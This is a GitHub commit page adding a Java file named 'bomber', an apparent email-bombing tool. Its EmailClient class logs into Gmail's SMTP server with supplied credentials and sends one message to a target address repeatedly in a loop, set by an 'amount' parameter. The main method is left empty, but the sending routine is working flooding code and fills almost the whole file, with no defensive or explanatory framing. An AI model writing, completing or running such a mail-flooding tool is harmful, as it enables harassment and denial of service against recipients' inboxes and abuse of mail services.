-
Notifications
You must be signed in to change notification settings - Fork 53
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
61 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,61 @@ | ||
// | ||
import java.io.UnsupportedEncodingException; | ||
import java.util.Date; | ||
import java.util.Properties; | ||
|
||
import javax.activation.*; | ||
import javax.mail.*; | ||
import javax.mail.internet.InternetAddress; | ||
import javax.mail.internet.MimeMessage; | ||
|
||
public class bomber { | ||
|
||
public static void main(String[] args) { | ||
|
||
|
||
} | ||
|
||
} | ||
|
||
class EmailClient { | ||
private String myEmail, myPassword; | ||
|
||
public EmailClient(String myEmail, String myPassword) { | ||
super(); | ||
this.myEmail = myEmail; | ||
this.myPassword = myPassword; | ||
} | ||
|
||
public void send(String toEmail, String subjectMsg, String msg, int amount) { | ||
Properties props = new Properties(); | ||
props.put("mail.smtp.auth", "true"); | ||
props.put("mail.smtp.starttls.enable", "true"); | ||
props.put("mail.smtp.host", "smtp.gmail.com"); | ||
props.put("mail.smtp.port", "587"); | ||
|
||
Session session = Session.getInstance(props, | ||
new javax.mail.Authenticator() { | ||
protected PasswordAuthentication getPasswordAuthentication() { | ||
PasswordAuthentication pA = new PasswordAuthentication(myEmail, myPassword); | ||
return pA; | ||
|
||
} | ||
}); | ||
|
||
try { | ||
|
||
Message message = new MimeMessage(session); | ||
message.setFrom(new InternetAddress(myEmail)); | ||
message.setRecipients(Message.RecipientType.TO, | ||
InternetAddress.parse(toEmail)); | ||
message.setSubject(subjectMsg); | ||
message.setText(msg); | ||
|
||
for(int i = 0;(i <= amount);i++) { | ||
Transport.send(message); | ||
} | ||
|
||
} catch (MessagingException e) { | ||
throw new RuntimeException(e); | ||
} | ||
} | ||
} |